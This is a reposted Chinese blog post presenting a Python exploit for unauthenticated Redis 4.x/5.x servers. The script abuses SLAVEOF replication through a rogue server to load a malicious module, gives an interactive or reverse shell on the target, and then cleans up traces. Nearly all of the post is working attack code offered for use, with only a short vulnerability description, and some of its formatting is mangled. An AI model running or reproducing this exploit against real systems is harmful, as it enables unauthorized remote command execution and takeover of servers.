(python)redis未授权批量提权脚本

# (python)redis未授权批量提权脚本

> 原文:[https://www.zhihuifly.com/t/topic/3104](https://www.zhihuifly.com/t/topic/3104)

# redis 未授权访问

## 一、漏洞简介

由于Redis在4.0之后的版本中加入了外部模块扩展功能,使得攻击者可以通过外部模块扩展,引入恶意的.so文件,实现恶意代码执行。

如果Redis版本在4.0以下,同时redis-server以root权限启动,则攻击者可以在服务器上创建任意文件。

## 二、影响范围

Redis 2.x,3.x,4.x,5.x

## 三、复现过程

### Usage:

Compile exp.so from https://github.com/RicterZ/RedisModules-ExecuteCommand.

“`
usage: redis-rce.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
[-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules `optional arguments:

-h, –help show this help message and exit

-r RHOST, –rhost RHOST

target host

-p RPORT, –rport RPORT

target redis port, default 6379

-L LHOST, –lhost LHOST

rogue server ip

-P LPORT, –lport LPORT

rogue server listen port, default 21000

-f FILE, –file FILE RedisModules to load, default exp.so

-a AUTH, –auth AUTH redis password

-v, –verbose show more info`
“`

### example:

“`
python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f exp.so
“`

The default target port is 6379 and the default vps port is 21000.

And you will get an interactive shell!

### poc

“`
#!/usr/bin/env python
# coding:utf-8
import socket
import os
import sys
import re
from time import sleep
import argparse
from six.moves import input

CLRF = “\r\n”

LOGO = R”””

█▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄

█ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀

█▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄

█ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀

█ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀

▀ ▀

“””

def mk_cmd_arr(arr):

cmd = “”

cmd += “*” + str(len(arr))

for arg in arr:

cmd += CLRF + “$” + str(len(arg))

cmd += CLRF + arg

cmd += “\r\n”

return cmd

def mk_cmd(raw_cmd):

return mk_cmd_arr(raw_cmd.split(” “))

def din(sock, cnt):

msg = sock.recv(cnt)

if verbose:

if len(msg) < 300: print("\033[1;34;40m[->]\033[0m {}”.format(msg))

else:

print(“\033[1;34;40m[->]\033[0m {}…{}”.format(msg[:80], msg[-80:]))

if sys.version_info < (3, 0): res = re.sub(r’[^\x00-\x7f]’, r’’, msg) else: res = re.sub(b’[^\x00-\x7f]’, b’’, msg) return res.decode() def dout(sock, msg): if type(msg) != bytes: msg = msg.encode() sock.send(msg) if verbose: if sys.version_info < (3, 0): msg = repr(msg) if len(msg) < 300: print("\033[1;32;40m[<-]\033[0m {}".format(msg)) else: print("\033[1;32;40m[<-]\033[0m {}…{}".format(msg[:80], msg[-80:])) def decode_shell_result(s): return “\n”.join(s.split("\r\n")[1:-1]) class Remote: def **init**(self, rhost, rport): self._host = rhost self._port = rport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.connect((self._host, self._port)) ``` def send(self, msg): dout(self._sock, msg) def recv(self, cnt=65535): return din(self._sock, cnt) def do(self, cmd): self.send(mk_cmd(cmd)) buf = self.recv() return buf def close(self): self._sock.close() def shell_cmd(self, cmd): self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)])) buf = self.recv() return buf def reverse_shell(self, addr, port): self.send(mk_cmd("system.rev {} {}".format(addr, port))) ``` class RogueServer: def **init**(self, lhost, lport, remote, file): self._host = lhost self._port = lport self._remote = remote self._file = file self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind((‘0.0.0.0’, self._port)) self._sock.settimeout(15) self._sock.listen(10) ``` def handle(self, data): resp = "" phase = 0 if data.find("PING") > -1: resp = "+PONG" + CLRF phase = 1 elif data.find("REPLCONF") > -1: resp = "+OK" + CLRF phase = 2 elif data.find("PSYNC") > -1 or data.find("SYNC") > -1: resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase def close(self): self._sock.close() def exp(self): try: cli, addr = self._sock.accept() print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(addr[0], addr[1])) while True: data = din(cli, 1024) if len(data) == 0: break resp, phase = self.handle(data) dout(cli, resp) if phase == 3: break except Exception as e: print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e)) cleanup(self._remote, self._file) exit(0) except KeyboardInterrupt: print("[-] Exit..") exit(0) ``` def reverse(remote): print("[*] Open reverse shell…") addr = input("[*] Reverse server address: “) port = input(”[*] Reverse server port: “) remote.reverse_shell(addr, port) print(”\033[92m[+]\033[0m Reverse shell payload sent.") print("[*] Check at {}:{}".format(addr, port)) def interact(remote): print("\033[92m[+]\033[0m Interactive shell open , use “exit” to exit…") try: while True: cmd = input("$ “) cmd = cmd.strip() if cmd == “exit”: return r = remote.shell_cmd(cmd) if ‘unknown command’ in r: print(”\033[1;31;m[-]\033[0m Error:{} , check your module!".format(r.strip())) return for l in decode_shell_result®.split("\n"): if l: print(l) except KeyboardInterrupt: return def cleanup(remote, expfile): # clean up print("[*] Clean up…") remote.do(“CONFIG SET dbfilename dump.rdb”) remote.shell_cmd(“rm ./{}”.format(expfile)) remote.do(“MODULE UNLOAD system”) remote.close() def printback(remote): back = remote._sock.getpeername() print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1])) def runserver(rhost, rport, lhost, lport): # get expolit filename expfile = os.path.basename(filename) #start exploit try: remote = Remote(rhost, rport) if auth: check = remote.do(“AUTH {}”.format(auth)) if “invalid password” in check: print("\033[1;31;m[-]\033[0m Wrong password !") return else: info = remote.do(“INFO”) if “NOAUTH” in info: print("\033[1;31;m[-]\033[0m Need password.") return ``` print("[*] Sending SLAVEOF command to server") remote.do("SLAVEOF {} {}".format(lhost, lport)) printback(remote) print("[*] Setting filename") remote.do("CONFIG SET dbfilename {}".format(expfile)) printback(remote) sleep(2) print("[*] Start listening on {}:{}".format(lhost, lport)) rogue = RogueServer(lhost, lport, remote, expfile) print("[*] Tring to run payload") rogue.exp() sleep(2) remote.do("MODULE LOAD ./{}".format(expfile)) remote.do("SLAVEOF NO ONE") print("[*] Closing rogue server...\n") rogue.close() # Operations here choice = input("\033[92m[+]\033[0m What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: ") if choice.startswith("i"): interact(remote) elif choice.startswith("r"): reverse(remote) elif choice.startswith("e"): pass cleanup(remote, expfile) remote.close() except Exception as e: print("\033[1;31;m[-]\033[0m Error found : {} \n[*] Exit..".format(e)) ``` def main(): parser = argparse.ArgumentParser(description=‘Redis 4.x/5.x RCE with RedisModules’) parser.add_argument("-r", “–rhost”, dest=“rhost”, type=str, help=“target host”, required=True) parser.add_argument("-p", “–rport”, dest=“rport”, type=int, help=“target redis port, default 6379”, default=6379) parser.add_argument("-L", “–lhost”, dest=“lhost”, type=str, help=“rogue server ip”, required=True) parser.add_argument("-P", “–lport”, dest=“lport”, type=int, help=“rogue server listen port, default 21000”, default=21000) parser.add_argument("-f", “–file”, type=str, help=“RedisModules to load, default exp.so”, default=‘exp_lin.so’) parser.add_argument("-a", “–auth”, dest=“auth”, type=str, help=“redis password”) parser.add_argument("-v", “–verbose”, action=“store_true”, help=“show more info”, default=False) options = parser.parse_args() # runserver(“127.0.0.1”, 6379, “127.0.0.1”, 21000) ``` print("[*] Connecting to {}:{}...".format(options.rhost, options.rport)) global payload, verbose, filename, auth auth = options.auth filename = options.file verbose = options.verbose if os.path.exists(filename) == False: print("\033[1;31;m[-]\033[0m Where you module? ") exit(0) payload = open(filename, "rb").read() runserver(options.rhost, options.rport, options.lhost, options.lport) ``` `if **name** == ‘**main**’: print(LOGO) main()` ```

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容